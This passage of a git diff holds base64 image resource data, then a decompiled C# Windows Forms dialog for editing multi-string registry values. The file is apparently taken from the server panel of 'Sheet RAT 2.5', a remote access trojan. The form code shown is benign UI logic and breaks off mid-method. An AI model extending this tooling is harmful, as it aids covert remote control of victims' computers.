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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormRegValueEditMultiString.cs b/Server/Server/Forms/FormRegValueEditMultiString.cs new file mode 100644 index 0000000..3a14a83 --- /dev/null +++ b/Server/Server/Forms/FormRegValueEditMultiString.cs @@ -0,0 +1,187 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormRegValueEditMultiString +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormRegValueEditMultiString : MetroForm +{ + private readonly RegistrySeeker.RegValueData _value; + private IContainer components; + private TextBox valueDataTxtBox; + private MetroButton okButton; + private MetroButton cancelButton; + private MetroTextBox valueNameTxtBox; + private MetroLabel metroLabel2; + private MetroLabel metroLabel1; + + public FormRegValueEditMultiString(RegistrySeeker.RegValueData value) + { + this._value = value; + this.InitializeComponent(); + this.valueNameTxtBox.Text = value.Name; + this.valueDataTxtBox.Text = string.Join("\r\n", Server.Helper.ByteConverter.ToStringArray(value.Data)); + } + + private void okButton_Click(object sender, EventArgs e) + { + this._value.Data = Server.Helper.ByteConverter.GetBytes(this.valueDataTxtBox.Text.Split(new string[1] + { + "\r\n" + }, StringSplitOptions.RemoveEmptyEntries)); + this.Tag = (object) this._value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + + private void FormRegValueEditMultiString_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.valueNameTxtBox.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.okButton.Theme = Customs.customs.Theme; + this.cancelButton.Theme = Customs.customs.Theme; + this.valueDataTxtBox.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style == MetroColorStyle.Lime) + return; + this.Style = Customs.customs.Style; + this.valueNameTxtBox.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.okButton.Style = Customs.customs.Style; + this.cancelButton.Style = Customs.customs.Style; + this.valueDataTxtBox.ForeColor = Customs.customs.StyleToColor(); + } + + private void cancelButton_Click(object sender, EventArgs e) => this.Close(); + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRegValueEditMultiString)); + this.valueDataTxtBox = new TextBox(); + this.okButton = new MetroButton(); + this.cancelButton = new MetroButton(); + this.valueNameTxtBox = new MetroTextBox(); + this.metroLabel2 = new MetroLabel(); + this.metroLabel1 = new MetroLabel(); + this.SuspendLayout(); + this.valueDataTxtBox.AcceptsReturn = true; + this.valueDataTxtBox.BackColor = Color.Black; + 